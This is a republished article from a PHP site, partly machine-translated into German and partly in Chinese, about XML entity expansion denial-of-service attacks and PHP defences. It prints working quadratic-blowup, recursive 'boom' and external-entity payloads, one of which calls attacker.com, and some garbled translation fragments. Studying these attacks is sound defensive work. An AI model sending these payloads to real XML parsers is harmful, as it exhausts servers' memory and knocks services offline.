Heim > Artikel > Backend-Entwicklung > Codebeispiel für den XML-Entitätserweiterungsangriff zum Teilen
XMl Die Entitätserweiterung (Angriff) ähnelt in gewisser Weise der XML-Entitätserweiterung, versucht jedoch hauptsächlich, einen DOS-Angriff durchzuführen, indem sie die Serverumgebung des Zielprogramms verbraucht. Dieser Angriff basiert auf der XML-Entitätserweiterung und wird durch die Erstellung einer benutzerdefinierten Entitätsdefinition in XML implementiert. Diese Definition kann beispielsweise eine XML-Struktur im Speicher generieren, die viel größer ist als die ursprünglich zulässige Größe von XML Durch diesen Angriff werden die Speicherressourcen erschöpft, die für den normalen und effizienten Betrieb eines Netzwerkservers erforderlich sind. Diese Angriffsmethode ist auch auf das XML-Serialisierungsfunktionsmodul von DOCTYPE
HTML5 anwendbar, das derzeit vom -Erweiterungspaket nicht als HTML erkannt werden kann. libxml2
<?xml version="1.0"?> <!DOCTYPE results [<!ENTITY long "SOME_SUPER_LONG_STRING">]> <results> <result>Now include &long; lots of times to expand the in-memory size of this XML structure</result> <result>&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; Keep it going... &long;&long;&long;&long;&long;&long;&long;...</result> </results>Indem Sie die Größe der benutzerdefinierten Entitätszeichenfolge mit der Anzahl der im Hauptteil des Dokuments verwendeten Entitäten in Einklang bringen, können Sie ein XML-Dokument oder eine XML-Zeichenfolge erstellen, die so skaliert wird, dass sie eine vorhersehbare Menge an RAM-Speicherplatz einnimmt Server. Durch die Belegung des Server-RAMs mit wiederholten Anfragen wie dieser kann ein erfolgreicher Denial-of-Service-Angriff gestartet werden. Der Nachteil dieser Methode besteht darin, dass das anfängliche XML-Dokument oder die anfängliche XML-Zeichenfolge selbst groß genug sein muss, da der Speicherverbrauchseffekt auf einer einfachen Multiplikation basiert.
<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY x0 "BOOM!"> <!ENTITY x1 "&x0;&x0;"> <!ENTITY x2 "&x1;&x1;"> <!ENTITY x3 "&x2;&x2;"> <!-- Add the remaining sequence from x4...x100 (or boom) --> <!ENTITY x99 "&x98;&x98;"> <!ENTITY boom "&x99;&x99;"> ]> <results> <result>Explode in 3...2...1...&boom;</result> </results>Der XML-Bomb-Angriff erfordert keine großen Mengen an XML-Dateneingaben, die möglicherweise durch das Programm eingeschränkt werden. Der Entitätssatz wächst auf diese Weise exponentiell und die endgültige erweiterte Textgröße beträgt 2 hoch 100 des anfänglichen Entitätswerts
. Das ist wirklich eine riesige und zerstörerische Bombe! &x0
<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY cascade SYSTEM "http://attacker.com/entity1.xml"> ]> <results> <result>3..2..1...&cascade<result> </results>Die oben genannten Angriffsmethoden können auch zu mehr umständlichen DOS-Angriffen führen, beispielsweise werden Remote-Anfragen so angepasst, dass sie auf lokale Programme oder andere Programme abzielen, die ihre Serverressourcen gemeinsam nutzen. Diese Angriffsmethode kann zu einem selbstzerstörerischen DOS-Angriff führen, bei dem die Versuche des XML-Parsers, externe Entitäten zu analysieren, unzählige Anfragen an das lokale Programm auslösen und somit mehr Serverressourcen verbrauchen können. Diese Methode wird daher verwendet, um die Auswirkungen zuvor diskutierter Angriffe zu verstärken, bei denen XML External Entity Injection (XXE)-Angriffe zur Vervollständigung von DOS-Angriffen eingesetzt werden. Abwehrmaßnahmen gegen XML-Entity-Extension-Angriffe Die folgenden allgemeinen Abwehrmaßnahmen stammen aus unseren Abwehrmaßnahmen gegen häufige XML-External-Entity-Angriffe (XXE). Wir sollten das Parsen lokaler Dateien und Remote-HTTP-Anfragen durch benutzerdefinierte Entitäten in XML verweigern und können die folgende Funktion verwenden, die global auf alle in PHP oder XML geschriebenen Erweiterungen angewendet werden kann, die die Funktion
intern verwenden. libxml2
libxml_disable_entity_loader(true);
诚然PHP以不按常理出牌著称,它并不使用常规的防御方式。常规的防御方式在文档类型声明中,使用XML的文档类型定义来完全拒绝通过自定义实体的定义。PHP也的确为防御功能定义了一个替代实体的LIBXML_NOENT
常量,以及 DOMDocument::$substituteEntities
公共属性,但是使用这两条定义的防御效果不甚明显。似乎我们只能这样将就解决问题,而没有任何更好的解决方案。
虽说没有更好的方案,libxml2
函数也确实内置了默认拒绝递归实体解析。要知道递归实体要是出了问题可是能让你的错误日志”咻”地一下跟点亮圣诞树一样全面飘红的。如此看来,好像也没必要特意针对递归实体使用一种特殊防御手段,尽管我们是得做点什么来防止万一libxml2
函数突然陷回解析递归实体的故障里去。
当下新型威胁主要来自Generic Entity Expansion 或者Quadratic Blowup Attack的粗暴攻击方式。此类攻击方式不需要调用远程或本地系统,也不需要实体递归。事实上,唯一的防御措施要么是不用XML,要么是清理过滤所有包含文档类型声明的XML。除非要求的文档类型声明接收于安全的可信源,否则最安全的做法就是不用XML了。比如,我们是由同行验证的HTTPS连接接受的。否则,既然PHP没给我们提供禁用文档类型定义的选项,那我们就只能自建逻辑了。假定你能调用 libxml_disable_entity_loader(TRUE)
,那么后续程序运行就是安全的了,因为实体扩展这一步已经被递延到被扩展影响的节点值可被再次访问的时候了(然而勾选TURE以后永远都访问不到了)。
$dom = new DOMDocument; $dom->loadXML($xml); foreach ($dom->childNodes as $child) { if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) { throw new \InvalidArgumentException( 'Invalid XML: Detected use of illegal DOCTYPE' ); } }
当然啦,在 libxml_disable_entity_loader
被设定为TRUE
的前提下,以上代码才能正常运行,设定后XML初始加载的时外部实体引用就不会被解析了。除非解析器自己有一套全面的针对如何进行实体解析的控制选项,否则XML解析器不依赖libxml2
函数进行解析时,恐怕这就是唯一的防御措施了。
如果你想使用SimpleXML函数,记得用the simplexml_import_dom()
函数来转换核验过的DOMDocument
项目。
原文地址:Injection Attacks
OneAPM for PHP 能够深入到所有 PHP 应用内部完成应用性能管理 能够深入到所有 PHP 应用内部完成应用性能管理和监控,包括代码级别性能问题的可见性、性能瓶颈的快速识别与追溯、真实用户体验监控、服务器监控和端到端的应用性能管理。想阅读更多技术文章,请访问 OneAPM 官方技术博客。
Das obige ist der detaillierte Inhalt vonCodebeispiel für den XML-Entitätserweiterungsangriff zum Teilen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!